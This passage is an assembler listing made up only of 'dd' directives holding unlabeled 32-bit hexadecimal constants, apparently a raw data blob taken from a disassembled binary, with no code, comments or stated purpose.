dd 0E93335D1h, 0E4CF1164h, 0BFCF1B05h, 77753E90h, 1537CC2h
dd 967312DDh, 27828109h, 0B3691866h, 33FA0B3Eh, 9E0FE0D2h
dd 0CA661728h, 0F8508811h, 9D2B987Eh, 45162CE9h, 0D14C4C09h
dd 99893FE0h, 7C401071h, 2E51B8D6h, 39B0F4E0h, 8D4817D3h
dd 793A8AADh, 93388031h, 1C58FE53h, 0D8006F57h, 0EC9B440Ch
dd 0FFF441C4h, 8B11E658h, 49DD6010h, 1FEC58B9h, 0AA46E1CFh
dd 6FF51C70h, 0F3C4D610h, 0A1972DC9h, 1126FF4Ch, 0FE1FF0DAh
dd 8B8FAAEBh, 8776A64h, 67D3E561h, 3AFF4C14h, 0E7112B4Ah
dd 0FFF1C05h, 0E5437C31h, 7FFD9611h, 0A7B1325Bh, 6F2CB273h
dd 0D746D945h, 0EA0FAD04h, 69FD8BF2h, 0A827974Eh, 2433D4BBh
dd 0A2910048h, 0C05D91C9h, 0ED2796ACh, 737567C1h, 86F68EDh
dd 0E0A3C67Eh, 0FD8F7FD2h, 0F2D5DE65h, 5E64C44Dh, 0CF0B57A9h
dd 9727331Ah, 0B5EC37DAh, 0CBBDC3F5h, 971717B0h, 5DEBE99Fh
dd 0AEE66D53h, 5188044Bh, 0D2E7203Fh, 9B71FB0h, 0DF8D14Fh
dd 7A846B5Fh, 0F8AEEA7Fh, 0EF775B25h, 411BD8Ah, 0C1C1F871h
dd 86906FA7h, 899F9Eh, 3663C098h, 0D234AB6Dh, 3FA80178h
dd 0CC51DEACh, 0BAD6F7B9h, 0FD30B6E0h, 0E12FA45h, 0B2387915h
dd 858F9AA8h, 51FD75ADh, 551FAAD0h, 24712CF4h, 8E456E26h
dd 0C99DEBAEh, 886CF41Bh, 0D7EBB142h, 0B0FB6665h, 0AB63F150h
dd 0C2615E61h, 2AB440E6h, 27B32310h, 11CE74A7h, 5D8D7438h
dd 356CBA52h, 0B5253100h, 0C97C4C66h, 0F0B5EAB5h, 8B50008Eh
dd 7DA33271h, 0BAD409E4h, 0AC18B03Eh, 0B46A4ACDh, 0F93BC8A9h
dd 7EDA0045h, 13B412DBh, 0B424B199h, 0A20E612h, 9D1DA538h
dd 0D84002F6h, 3AFA1A8Ah, 16FB0DE2h, 74C46F83h, 0E6B6CC51h
dd 9B3C5D4h, 8BBF2F0Dh, 0A763F2E9h, 96C04AD7h, 0E3BD80FEh
dd 1233D2E0h, 0C4D29D8Fh, 0F9208E7Fh, 0B4DE79DEh, 0AD33C8AAh
dd 0FBC72B99h, 0DB9769C8h, 0F0125DADh, 885A56E6h, 98F6FE65h
dd 6CC88321h, 2A50A6B6h, 0F166B28h, 1F44B1B7h, 411E1E84h
dd 0A53FCC22h, 363656FCh, 66D01BC9h, 0DC3DFD0Ah, 8BE66221h
dd 0B4909A4Ch, 0BECF7B1Fh, 6AB6342Dh, 6FC3646Bh, 0BA168738h
dd 0F40A093Dh, 2F237272h
dd 765CEF34h, 0C7B0B9F8h, 0C6B0FF6Ch, 0B5B838D9h, 898067A0h
dd 0CF4EFB1Dh, 0BF97A9CAh, 0A6440EC9h, 0CAA7E916h, 0B24B2A30h
dd 8DBBEE3h, 0D1944514h, 0CBEA108Dh, 0B886755Fh, 726C1E18h
dd 0E87A5A08h, 7F07F871h, 0ABB9F37h, 73E0A1B9h, 0F306FEE5h
dd 177C5B87h, 88D16921h, 761B14E3h, 0A154F316h, 1BC55377h
dd 8B854F4Fh, 0BE70470Bh, 0C3379E79h, 375460FCh, 9D9CF29Bh
dd 5A337B50h, 9217F5Dh, 4F953AA8h, 52ABF502h, 5FA9DD03h
dd 7D1C63B9h, 40497098h, 0FA7CE137h, 30A17513h, 14599061h
dd 91394F23h, 0E18DF2D2h, 387FEB0Ch, 44AAB8D6h, 29DE3C38h
dd 70FA3E65h, 0BB423A63h, 6B7BA4E8h, 47FA7A7Fh, 0BCDA6680h
dd 7B1BF98Ah, 0DEABD7FCh, 69D8F602h, 65C43DD7h, 1BC5C3A7h
dd 838135F3h, 4DCC72E9h, 0BFC461EDh, 3AC9ED87h, 0C2A3139Bh
dd 33CEED46h, 0DDE6CD6Ch, 0ACFFCEB1h, 149D3042h, 5E4A7CCCh
dd 6C0D3850h, 22E752BEh, 44F9547h, 645859E9h, 0BF2C558Bh
dd 0EA3B7D88h, 13745798h, 40EB42ABh, 304FAEBDh, 3B47F10h
dd 0EFD059FBh, 2C6AD50Bh, 482921EAh, 0F7C67A20h, 5AACCDC3h
dd 563CBEF6h, 50DF1847h, 5E0CB986h, 32EB640Eh, 9BE6551Ch
dd 0D6F6B1D9h, 7EF0CBD9h, 31DC9918h, 1230834Bh, 0DD571E81h
dd 0BBC47F74h, 6A6E51B3h, 0B1FB197Dh, 0B7D54EC5h, 401CA516h
dd 0B2291251h, 4B1675EDh, 0ABE0EFC1h, 1E84A9F3h, 0A217392Ch
dd 1923FB06h, 3B62F8E6h, 6C9046CAh, 0A2661307h, 0F090F928h
dd 0FD4C46CDh, 18FECE4Ch, 804108FAh, 0ED91BAE5h, 0A3F4E052h
dd 0ABA8EFD4h, 0AF9DA543h, 76B1B116h, 59283DE0h, 5350C953h
dd 0AE53488Ah, 0AE723CDh, 45DC77DAh, 70E61B87h, 9B8284B1h
dd 413F07D9h, 0AB790472h, 25040CB2h, 16BCFA5Bh, 0CDEB562Ch
dd 5AD30880h, 46BCB849h, 0D2C64433h, 6CBAD48Bh, 13183F5h
dd 320C48C4h, 1FEB8BDBh, 0FBB2D448h, 3B22B6F8h, 31A92DF8h
dd 4989C320h, 1F5A6BFFh, 7C97DDFEh, 911C04F2h, 0EC24381Fh
dd 4ABA2A4Ah, 0E2EF09Bh, 43CC1909h, 82E4E43Ah, 18A58D8Bh
dd 0F04BF818h, 0EF7CE907h, 7C613E9Bh, 0D8829A12h, 0AD14986Ah
dd 238C482Eh, 979D680Eh, 8491FF69h, 0C1EF63F2h, 5B0C6165h
dd 6EB56CC4h, 0F5059086h, 0D8F0D87h, 0EB32A1D6h, 0A2A11E68h
dd 0EEC422E0h, 0D9AE3242h, 0CDD1F126h, 7E8A4BA0h, 62A7EFFFh
dd 9024131Eh, 6BD72ECh, 128C6548h, 0F929012Fh, 34EECD25h
dd 2853E0D0h, 0FFFA4864h, 254414DBh, 11BEE0B8h, 88D3F7F4h
dd 0B59ADBD6h, 4284A39Dh, 57DC1095h, 4FA4E828h, 6B28B6C1h
dd 48CF1E70h, 0E18D3711h, 71D90E19h, 712EF44Ch, 3DAF5EC9h
dd 335EB4FBh, 70C5B6FEh, 0A5CE256Ah, 12CE83E0h, 85EEBE15h
dd 590F78B4h, 8CEF29ADh, 8582C868h, 1FB007FEh, 0F4D9F44Ch
dd 0F59AC579h, 0BD7B436Ch, 0EC81B20Bh, 0BBFE04D3h, 6ECDA1FAh
dd 4AEAB3E2h, 0FF1509Dh, 2CF85C5Bh, 0B9FF608Dh, 28B7C6FAh
dd 98927955h, 69A6C14Ah, 0F1204E41h, 64080B25h, 8B9EF324h
dd 791254D3h, 0A19E04CDh, 1157CFE3h, 726E254Dh, 0C08C545Bh
dd 0D057B88Ah, 0F5DADC90h, 0AA9733C3h, 1F86F9CFh, 63F5425Eh
dd 0B83C70D1h, 6E6CF69Ah, 0A87A1294h, 0A07886BDh, 70404982h
dd 0D0FFF962h, 4988DADEh, 0FEBCDA44h, 8E4247B3h, 0A1CEBA72h
dd 574065F7h, 3A253455h, 99422937h, 2A1F743Ch, 2D238A1Ah
dd 43852D2h, 32CBDDD8h, 0BE279B23h, 5AE27AE8h, 1650D23Ch
dd 0B4E2B9CEh, 76B1E17Dh, 2D82FE0Ah, 57AEDFA7h, 555435E4h
dd 7313E613h, 2515F178h, 0D8639F87h, 72650A1Dh, 0B395CB14h
dd 738404D7h, 0E4A4EEDCh, 4B1E5C3Bh, 370DDE4Dh, 661CA0BCh
dd 522CBFA9h, 0F27CE29Ch, 7D8133B1h, 0E181A34Ah, 3DE9A909h
dd 0D545719Bh, 284C1755h, 0D64DF9Ah, 1B98362Dh, 744559E6h
dd 616981DAh, 0C77B4090h, 5BB8CB73h, 27C9B324h, 5F48F77Ah
dd 0D97926E0h, 8F3F08B6h, 9D9217B8h, 43D83040h, 102DC5F8h
dd 0E4860203h, 0BD6D2043h, 6DB0A7EAh, 6368303Ah, 80D44C72h
dd 0B7E41BFEh, 8931D3C4h, 7FA6DCC2h, 203AAF5Dh, 636F4B31h
dd 0C300D2DAh, 0F70BA7AAh, 191269C2h, 0A3BE87Dh, 0CB7805Fh
dd 271695C3h, 7964D55Bh, 4F9F13E9h, 648106E7h, 0A85293B7h
dd 0B9F14954h, 0E168876Dh, 334372A8h, 4C9AF5A0h, 0EF9CC33Ah
dd 0DDCB3ABCh, 4E8C13F9h, 43B21E65h, 381DD34Ch, 0DF2F8F73h
dd 369D4B91h, 9AE657DCh, 96D48084h, 454E10D5h, 6DD29B73h
dd 70585478h, 0EA92D5ACh, 18669729h, 6AEBEED9h, 330B77A0h
dd 43BFEC3Dh, 0C7CC39B9h, 79AA6E27h, 8A85B75Ah, 0FA1380CDh
dd 8916CADAh, 0E9760B23h, 5D036BF4h, 8BF55837h, 5A6A2F71h
dd 319C4DEFh, 0F8E17164h, 0ABA8DD3Bh, 99C2308Fh, 7FF54A40h
dd 0B4CDA0E3h, 0F125809Ch, 627D5BDAh, 6E1023A7h, 345F31D9h
dd 23D9D150h, 0BF8390Eh, 6898D814h, 0CE43DC7Bh, 0EAE9C960h
dd 8C3112ABh, 254464F5h, 0E19B5123h, 0BAC7E50Bh, 0D8F8BD9Dh
dd 0A85E9C61h, 7237EAF1h, 7F887970h, 0D5A1529Ah, 0E6CC4C0Ah
dd 0D455CE93h, 0C62D91B1h, 0EC914CFCh, 877787FBh, 77EE3C60h
dd 1B4A10BFh, 3E73D988h, 0ACA7B176h, 0CEFDA614h, 0B403C5F3h
dd 98DF7A14h, 0E659BC24h, 0EEEA9FEDh, 0CE60F1FEh, 77BAB4CDh
dd 0AAE59230h, 0C88C7C24h, 6711986Bh, 0BE268B24h, 88727ACh
dd 3D5B012Bh, 38E8E302h, 0E64329B8h, 0C9C52D0Ch, 49E48395h
dd 0CE4921CAh, 0EF16628Ch, 28E6B685h, 9F54E84Eh, 8D1BD656h
dd 0F15716EFh, 0FC3F2AA6h, 32EE2E71h, 3F830E8Eh, 0F19AABAh
dd 580C0065h, 5E9438BFh, 0E4B3324Bh, 885A72B7h, 7A400675h
dd 3A53EAF1h, 0A8FC9433h, 41A4790Fh, 0AD7ECDC1h, 65FF3E9Bh
dd 0A39E382Bh, 1A6E25B8h, 72032429h, 4A78BF6Fh, 55A0AD18h
dd 35D9D923h, 0ED1AA5C5h, 0CB7C2B94h, 0D178F076h, 0FD29902Dh
dd 9D133844h, 5C227452h, 1589657h, 91523E97h, 621A8CDFh
dd 1D142679h, 93D9088Ch, 8D98E15h, 48C93DFFh, 5FCD3320h
dd 0B6A4CDB0h, 3AB25D22h, 0CA999815h, 204B1BD9h, 0BAB60C63h
dd 4F5224CEh, 0AE8297A4h, 0B98B9B47h, 87EF9CA3h, 0FCCB1475h
dd 64B7F2AAh, 0E2575128h, 0E7865EF1h, 0CFC94D01h, 0E1381AFCh
dd 219C3D96h, 348C1469h, 1DB23537h, 9A9212E4h, 613C1E03h
dd 1D87C82Bh, 0D82405CFh, 0A7120F03h, 8A752CE5h, 0D9A5497Ch
dd 643F21C2h, 0E9FFB4EEh, 6384978Ah, 4B97CF71h, 9CBA2A1Bh
dd 3DDD65A7h, 9CA6F81Ah, 42822697h, 3561B1B5h, 15B2E7ACh
dd 0F62571E6h, 69EC3399h, 0EA3EF1F4h, 99610097h, 0D55498F0h
dd 0C00EA73h, 0D54C9073h, 1C184038h, 0AC04CE70h, 7530B6C3h
dd 5E263FF8h, 0AD47CB7Fh, 154CBFF0h, 8EF1FEF7h, 7F45C29h
dd 0F7BB74FEh, 7DAE5009h, 29B6EC16h, 7D063BA1h, 0DBE82C5h
dd 8B2B687Eh, 72602FD6h, 5CB6391Dh, 8672BAE7h, 0B8CA75A5h
dd 0D4187566h, 4D17C6A9h, 7F4CE930h, 4F3AAFE3h, 24E8DB8Bh
dd 3B40E7F7h, 0B4BADB2h, 0BD1E39C1h, 7321119Dh, 0AEB33BF7h
dd 0EE57A6FAh, 6E0898F6h, 0FEE8F4B0h, 0C42F60C9h, 7DC4A77Eh
dd 95138DC6h, 75500417h, 0ABB8CD57h, 0C438F48Bh, 57B9DFA8h
dd 0C7F14CCEh, 6D99D80Ah, 6D6931B0h, 1A997CA8h, 13A2AC5Fh
dd 0BFD6BC88h, 4090482Fh, 7536B099h, 70ADE3C6h, 0FAAC258Eh
dd 5F77857Eh, 0FE27939Eh, 23DBBD5Eh, 0B6F5BA2Fh, 88B712DAh
dd 860F2898h, 6AA13C04h
dd 90507C2Fh, 90CF2A07h, 6125A805h, 808547Ah, 0CF74001Eh
dd 45955EFCh, 5E518DD4h, 0AFDFC189h, 0EE28BB4Ah, 1BA9013Fh
dd 0E9AFD076h, 0C1AA7EC5h, 6A7DE715h, 367AADA0h, 6C1D26DAh
dd 6EC6B007h, 5A976968h, 38D254A5h, 0AC0A617h, 0FB3C82E3h
dd 0A82215DAh, 5AD18AAh, 0CA0C9071h, 0BCF4DD00h, 0DCF72720h
dd 0E64516Ah, 51F3B179h, 675C67AAh, 7688AF4Ah, 0F626CBD8h
dd 72DE60A3h, 415260B0h, 3026278Ch, 0F0C3757h, 130372E3h
dd 63ABF587h, 75461DCCh, 0F3D37DFFh, 58991E75h, 0A4119B69h
dd 0DCDF750Fh, 4934B707h, 0EBD1087Dh, 44FDC46Dh, 33F3DBA2h
dd 6227E4ABh, 89931407h, 9927259Ah, 8D9C8E3Ch, 0D6BBF265h
dd 0FC7F5AC1h, 8259C748h, 8AE10077h, 165C09F7h, 0EB6A53F9h
dd 0FB239E7Fh, 8804CE53h, 88464F28h, 86DF99FFh, 0F42A4A13h
dd 5BBD7B29h, 0E2073B9Ch, 0F41B89DAh, 0FE51A9A8h, 84ECC166h
dd 310A97FEh, 0BE42B1CCh, 2C9C13BCh, 0BE5D1708h, 34BDF06Dh
dd 9A1E4044h, 924FD223h, 0DC4EC17Dh, 61D8A2A3h, 0F533504Ah
dd 8D641A5Ah, 0DBDAFB2Dh, 0FBA9788Bh, 0DA4B0E94h, 0D2EF0906h
dd 26B920B3h, 6CF6E5FBh, 0CEC1A55Bh, 62108E34h, 0DCD930h
dd 2E230C6Ah, 0A4F52143h, 0BA4985F6h, 0F6029A26h, 98E39005h
dd 1B4092CBh, 0CDC0F5B9h, 82932579h, 4CDEB209h, 9E7DA61h
dd 6FC94254h, 9248CB98h, 0D9FC4C44h, 0CE5310A4h, 4ADEC4B7h
dd 96416C1Ah, 85F17FFBh, 0BF4CB4C3h, 0CF084EEDh, 55FE90Ah
dd 3D091B52h, 3E749BAAh, 541AF385h, 8DE6DA94h, 0CCB3C774h
dd 9D55F70Fh, 61E28FE2h, 82BF5B02h, 0AA765C69h, 0ECF245B4h
dd 22AB0895h, 0E986D816h, 94603337h, 8DF8B7F8h, 0AA53CF28h
dd 0D9BF432Dh, 86FA610Bh, 329EF0C0h, 0FFE06457h, 3AFC7A00h
dd 0AB729DCh, 5B2A1ACFh, 1FCA384Ch, 617F0EA4h, 35A4BA85h
dd 6661A6F4h, 0A8F0F88Fh, 47BE0D9Fh, 6B031121h, 3985B46Eh
dd 3DA85C7h, 3FB1988Ah, 1C4180Ch, 5E868180h, 387719D3h
dd 0FD29B60Fh, 97241DBh, 58620B43h, 8E18B4D3h, 1A767F02h
dd 58EB074Dh, 69FD0489h, 1FE28B0Ah, 0DB7DC6E4h, 0B46955F7h
dd 7D00D94Ah, 0CA1C349Eh, 9FA2B075h, 45ADD673h, 97E313DBh
dd 0E0D92743h, 0CBAE8A14h, 0CC77553Dh, 966803EDh, 8F95B2CEh
dd 749A1962h, 5D9AEBC6h, 1546A6C9h, 0EEFAD543h, 1D059168h
dd 0A52779A4h, 0C2F53FAAh, 7455C7E9h, 74FF5501h, 83C8AD72h
dd 0EDA7ABFh, 44B61CABh, 0CD9F79BEh, 31D849D6h, 6F789207h
dd 3875DB1Fh, 56C0DBE5h, 3BD422F2h, 0CD7EEBF8h, 48DCBD0Eh
dd 6E2D562Eh, 5BFCF84h, 0A41839AFh, 538C00BDh, 0F1711374h
dd 1E850BA7h, 870E1654h, 1F3FF57Dh, 0BD04DD18h, 0E1CFACECh
dd 8A800208h, 0D3176A7Eh, 7EA8C6BCh, 0DB43AFBh, 78C0E61Dh
dd 0D0C8EFA8h, 0DFC37053h, 3D3F47CBh, 72FBA02Ch, 4FEE3C0Fh
dd 0B0E86BA4h, 4E645759h, 0C8F0E77h, 0A5514DD2h, 21C7399h
dd 0A9BDA862h, 52A12BC8h, 1DBD88E5h, 0E2DBEDE0h, 0F60A80C6h
dd 342E09C0h, 50D5F3AFh, 0EA00DBD3h, 8E692ABAh, 9B019AA8h
dd 18F428CEh, 23F2E0E8h, 5AF47EAh, 0A71CEC7Ch, 94A64A04h
dd 0B2A93DFh, 1A8FA0A0h, 1EC54BE2h, 7D614F87h, 0B023B813h
dd 6A82F1D9h, 596FEE9Dh, 11901738h, 2872D5E1h, 0A9E89468h
dd 0A765F1F9h, 0E496030Dh, 3698AAA3h, 9F3C263h, 642758FFh
dd 7F4EE2B8h, 44F32A8Fh, 0E3AA7330h, 0BFDB4085h, 96A0132Ah
dd 0AFDC2231h, 4B3D2FD1h, 0F8133708h, 0D73EBCFDh, 0C95523A6h
dd 0C699905Eh, 0D5833A4Fh, 5761F0C8h, 0A132D376h, 5C7E86F5h
dd 0AEB49F81h, 0E4EB42E9h, 2A4BFC17h, 0F60DFC74h, 8AB643DCh
dd 0A21F826Bh, 0D4CC7F25h, 6F7BC890h, 2048967h, 0B02CCA41h
dd 0E4F6701Fh, 91E9A3BCh, 6B309105h, 68CD31BBh, 0EF7EA868h
dd 47DFF1EDh, 88503783h, 6E740843h, 6ADA8F37h, 0C1408BE2h
dd 8C2FEDACh, 3A2E0E53h, 4F473283h, 2FA1D8B1h, 5A86F7E7h
dd 0AA92CF05h, 0B6B8DF94h, 5B29D7EFh, 0ACC5B03Fh, 0FCF9A7FFh
dd 0CA34EFFFh, 0F8993FA2h, 47B2FBD8h, 9FFD0A86h, 58007BC7h
dd 0EC011EC9h, 713D0ABFh, 7A147E15h, 0E84C55D9h, 24A7B102h
dd 0D5374F1h, 44FAF506h, 5E852AD4h, 8954C728h, 0EEE4C2D5h
dd 0F0DA80DEh, 1EA803Dh, 93F187E7h, 20E73011h, 0A1C42D14h
dd 0F4BEC795h, 5A3B418Ch, 23B31689h, 0E3243160h, 42C7D9E4h
dd 9A27A7C5h, 0E23AD938h, 1D4F4289h, 50E8CC0Ah, 0F62DBB5h
dd 0AE20C687h, 2B4FFD34h, 75D5FB50h, 0DD8BE817h, 24FB20AEh
dd 141D6ADFh, 0CC184E19h, 0F92B9428h, 5FF7FB4Eh, 5E3FEB10h
dd 769A8E97h, 0DFA34AE5h, 0C6EAF1D0h, 85E75CCAh, 0A0241DD3h
dd 79BBE2D5h, 24B5B400h, 0A63F69ABh, 5B6E7D82h, 30D2C84Dh
dd 53E5F619h, 70086AAEh, 0C7A9E491h, 6AAA69A1h, 2D93F7Ch
dd 0B4753606h, 38A3B48Bh, 566AA07Ch, 8C9252F2h, 4793611Ch
dd 4E502D65h, 0BB3AE48Dh, 0D58717Bh, 58C47651h, 666570AFh
dd 0B87426Bh, 0CC0CAD8Fh, 9A55345Bh, 232BF433h, 470CD238h
dd 95F0E353h, 64AA74CBh, 9B20010h, 684DA562h, 0EC2217A5h
dd 54DB950Eh, 904DD5Dh, 0F3AF8DEFh, 9B0EEECh, 4D194303h
dd 83AFCD0Dh, 3ABFED6Dh, 0A2E8D8C6h, 1C548B98h, 0CB281C7Bh
dd 5969C340h, 7A0C9A2Ch, 1A5B0B48h, 4D8F2B2h, 0F60FB4A6h
dd 40B33F4Bh, 8E1F684h, 0A84830C3h, 437F1967h, 679D6724h
dd 3A5F4CF5h, 2B95E17Ah, 7D38D96Ch, 1DEBA5AFh, 0A146F2CCh
dd 0C82D5B60h, 7FE5CF6Bh, 0AEAFFF29h, 9401D1C1h, 4A2CE4C6h
dd 70E7327h, 0ECD7B256h, 0ADFD6446h, 95241314h, 0FC8E76B6h
dd 0EF59EC38h, 6C89ADEAh, 12CDC67h, 0E2858CCBh, 9A94F4AEh
dd 0AC67119Fh, 40890766h, 8B0E170Dh, 0F9012605h, 17067A79h
dd 0AF376EFFh, 6E5A5284h, 0E03A5DA4h, 976D4B8Ah, 0DAED44F3h
dd 941C573Bh, 0FC3A284Ch, 9700978h, 50511FA8h, 0B823B60h
dd 5768D9B6h, 0A3470370h, 7810C090h, 37F7727Fh, 1681F71Dh
dd 1C59AFEDh, 98119A79h, 827F3DFEh, 1AB37C90h, 27C41635h
dd 72BBF18Bh, 5C748839h, 40A7A65Bh, 0F1219E54h, 0A173A60Ch
dd 2AAA38D6h, 0BBC2B08Bh, 1F6A9B6Fh, 37202126h, 65E1AB4Ch
dd 0D60386Bh, 270F665Bh, 6711BFEh, 85778398h, 0E1B794Dh
dd 50471B3Eh, 95542D8Ch, 5B5F4AC7h, 5BBC7511h, 0E8A1232h
dd 84478876h, 3BE326AFh, 0FE09CFE9h, 90B92550h, 0C1662247h
dd 9FF2D1C3h, 556F6D8Fh, 0D21752DDh, 395473FCh, 122AE373h
dd 0D47924D9h, 24988235h, 8C4378F7h, 4EDF6317h, 59E94E91h
dd 0DC044E9Dh, 0EFC84ACFh, 0B95389D2h, 0AE84393Eh, 0A5D91518h
dd 0E9C4A13Bh, 2508CED3h, 0FE7E5111h, 48EDE05Fh, 53D452BDh
dd 0B2339CB9h, 0EB07EE76h, 0BED4FA75h, 0E2ED4656h, 6552D118h
dd 43AF2468h, 4F1B3120h, 0A85C3235h, 0BB38FA9Ah, 8BC7EACh
dd 0D9C6CCB0h, 27BA084h, 96DE1A6Fh, 76C75E96h, 16B0A645h
dd 1958699h, 154B022h, 522AA947h, 0AEB2EDA9h, 6DD6F45Ch
dd 0D5F1B631h, 7ACECE2Fh, 4E528AD4h, 9B5BA6C3h, 51282FBAh
dd 0ED6B3FC9h, 922669B5h, 3709B6C6h, 0F6822B79h, 0AC52B934h
dd 0AECD6838h, 0E53E0D18h, 4B5DE666h, 0FFA7EBBAh, 582AA0DBh
dd 68308DB9h, 778D0C52h, 35D6F860h, 85C3064Eh, 84A1344Ah
dd 68B146F2h, 2952BF82h, 5F3F36C5h, 0B678A6FFh, 82DA1AFAh
dd 53D20A2Bh, 0F1F7A364h
dd 0DB94E2AFh, 6780502h, 1219C9F0h, 0B7986D65h, 6B15AB94h
dd 2FD007D9h, 0BBCC436h, 16C21A59h, 47CF1E29h, 0E7337860h
dd 0D913D4D7h, 880D807Ah, 0C24AF92Dh, 2E2FB514h, 7AECCB95h
dd 119AE735h, 0FF498033h, 81A9DDC3h, 533FB023h, 0D13C936Ah
dd 9F611D54h, 1D5741B3h, 0B369D252h, 59655894h, 9F66BEE7h
dd 0D6BDD71Ah, 1D8F5CDAh, 41B9AF92h, 899F922h, 0A0C13A7Ah
dd 4BBA7E70h, 0A2B4DFCBh, 8F1D04A0h, 49FD240Ch, 0AD9C4195h
dd 0BC1BA11Eh, 39512900h, 2E8EBDC0h, 22D13E07h, 7DCCA5DFh
dd 2C4C168Eh, 0CE28E4Fh, 0DC05CC73h, 0A2D8C2E7h, 0F0B6A421h
dd 209A0558h, 9B9DBBCFh, 3A906700h, 76123C3Eh, 8F275CAEh
dd 26D4630Ch, 4D48570Ch, 0E0D62059h, 360AD011h, 0AFACE2F0h
dd 95300AD9h, 8C3C43DEh, 0BB69EB3h, 5F334832h, 0C6D03E8Eh
dd 863A7F6Fh, 163131B2h, 2B540A6Ah, 0A763D10Bh, 0BE514C18h
dd 4B5E8FBh, 807DE082h, 499504BFh, 0C52C6657h, 0DE04D195h
dd 0E3CB5F3Ah, 0F79AE875h, 0E4A6B014h, 17730CB8h, 7265089Fh
dd 0C5C9B7A1h, 0DD10E897h, 0ABF0019Fh, 0BC9947EBh, 0D4CC1A72h
dd 8E1B8171h, 9090602Eh, 0E0AE557Dh, 0C775AAA3h, 42A0068Ah
dd 0EAE2968Dh, 0ADCB5D9h, 0C3FE68E4h, 0ABEA6E2Ah, 9C9A610Dh
dd 2819F449h, 0DB6FB23Eh, 7570E2FCh, 0F6E3F8EDh, 0B2554816h
dd 630EEE55h, 20DEED7Ch, 221CA01Ah, 0EA552EBBh, 79B1F0D2h
dd 9E4C453Fh, 60B3765Fh, 6B8B717Ah, 2DDDD544h, 7F1E7B90h
dd 90FE1D22h, 9A1B8073h, 5A940F02h, 93081E1Fh, 0A6D3B91Bh
dd 0EEDD3071h, 1F3F52A7h, 24BA0B28h, 8A996ED9h, 0F489AE6Bh
dd 0F7BB0666h, 444BE5E7h, 81F0B9A7h, 2D124B0Ch, 1772B9ACh
dd 0E2D4918Bh, 0B2AF7548h, 0D53018EBh, 545BA311h, 0E0050DB1h
dd 0AD04D462h, 0A3D77700h, 0C5EC7D20h, 0FA142387h, 0F8609CADh
dd 18E0FB6Fh, 0D2C0A070h, 9E78B7D3h, 0D44FA132h, 0E370E9B2h
dd 46D25A2Ah, 774CB3F5h, 0C6173CCFh, 1DD22064h, 1DDBC0AAh
dd 4F7BA50Ch, 84AE5258h, 535771BBh, 0BC365AFh, 0D2CB229Fh
dd 29980FCCh, 0B15C5BCh, 1F678C5Bh, 16B22A05h, 6D3275BDh
dd 418E2743h, 99B75011h, 0CB488B55h, 2A4049AAh, 0C4DDE163h
dd 0EA846097h, 0D5955278h, 0A77DC545h, 0A13604AFh, 3C46C38Eh
dd 0A34E2B55h, 9678D1EAh, 0DAF276CDh, 836CC379h, 8286463Bh
dd 692A8622h, 0B9057FA3h, 8F5FE2A6h, 4B94F1E7h, 2CA09F4Ch
dd 0C0A3F2ACh, 9356AE41h, 1B5DF465h, 1113A1A9h, 0CA82E242h
dd 635CC528h, 0C2B8CFC7h, 155BCDEDh, 23C8B01Dh, 5C87B020h
dd 0B96888F3h, 5AEFF882h, 0FE3D12E2h, 3AFE0EBDh, 0C15F437Fh
dd 7AF1AC2Ch, 8ADD19F9h, 904E085Fh, 7290236Fh, 0F3ABDB7Ah
dd 0B48AD762h, 64BEAEABh, 44507D90h, 0BB4C8F73h, 67D05964h
dd 0AC9C567Bh, 0F72792FCh, 113EDE1Dh, 0BC12424Ah, 9DC531FAh
dd 7AC498DBh, 1FF722C4h, 69A6DC6Ah, 1E61E3A0h, 0B7680960h
dd 0D4857D11h, 0A648357Eh, 3741462Dh, 642C862Fh, 2853908Ah
dd 0EC2496D2h, 30126232h, 259DD27Ch, 48994FBh, 812480C5h
dd 273B542Ah, 3DEEBEB1h, 0F054D61Eh, 50445DE6h, 234B168Bh
dd 0B1513C54h, 0C0D285DEh, 0DA1605EEh, 0C5F348C6h, 29730E6Fh
dd 7CE36BF8h, 8102BF70h, 0B454297Dh, 0BC19F0DCh, 701918CBh
dd 5C8A186Bh, 3FDE1C45h, 5AB50AD7h, 63C9F12Fh, 0D2556393h
dd 0CA028F17h, 0D066BD8h, 0B623CAA9h, 0AF21F6C3h, 2677E3E7h
dd 0C8CB0F65h, 52F9175Fh, 9984B792h, 92472605h, 0A56995B6h
dd 58E00175h, 8B87AE52h, 0C737C1A0h, 15EDC941h, 11223776h
dd 0D3800028h, 0F45ADDF1h, 85FD41D7h, 904AD59Bh, 0E497ACD5h
dd 163E7948h, 923103CBh, 80503475h, 866420Bh, 0CC0F8C3Dh
dd 74C35CABh, 88C2AE57h, 0C1EA59CCh, 0A06F882h, 3B1B7BFDh
dd 24F5268Eh, 3B731B87h, 3DF127A2h, 55A7F4C7h, 422781B9h
dd 0ABE4C6D0h, 2386FC5Dh, 0FA297732h, 22BF4FD0h, 4D7D777Fh
dd 6DA686F2h, 6A27CA05h, 758EB944h, 0DFE8BD44h, 0CF0F5A6Ah
dd 0B4A4DE4Bh, 0ABC37EEAh, 8F9F0D8Eh, 0F671A83Fh, 32A6BD88h
dd 0BCC21D3Eh, 3445A977h, 20E93C56h, 56A9DFFh, 17C60483h
dd 0F60F9DFDh, 7F172E77h, 0D33ED1CFh, 0FE62D9E7h, 0B5EE1DDEh
dd 0B3FE72F9h, 30D2B445h, 0C8359656h, 0A444936h, 0F837A08Dh
dd 0DD5CDBC1h, 7A27E486h, 0EB5AA6A2h, 246181BEh, 0D1BCE680h
dd 71DA4A35h, 0D43CB71Dh, 4E55E8DCh, 7860537Eh, 8490469Fh
dd 0CAF49C7Ah, 0D812033Ah, 97A16F1Fh, 950C326Bh, 4C09774Eh
dd 0DE6C1258h, 0D369FEC2h, 0E33BC77Dh, 3E7E99D0h, 0A78D0B39h
dd 18974EDCh, 0F0B6B4C4h, 0F949C7F5h, 0D51F2970h, 93A56D62h
dd 0CAE2EF23h, 391A3703h, 0F127F1D8h, 0F9043F59h, 6D1F6DEAh
dd 0BB0BC7CEh, 95791E82h, 3A6F5C5h, 63FD189Dh, 0DFFF93B8h
dd 0B4DC09C9h, 0E5141E58h, 8E59CFDDh, 0ADB2E71h, 5B3092C2h
dd 6D85AFE8h, 0AE1D8E3Dh, 0AFD2751Fh, 31811245h, 473D6381h
dd 6275B3F1h, 2698952Fh, 0AA4E7B80h, 2B132BC3h, 1786910Ah
dd 0EDEBF81Fh, 4C37365Fh, 0DB4E0C19h, 6D829D58h, 83237E0Dh
dd 0DC79B793h, 8868FBB6h, 1733B107h, 0F8C4693Eh, 4446FBC8h
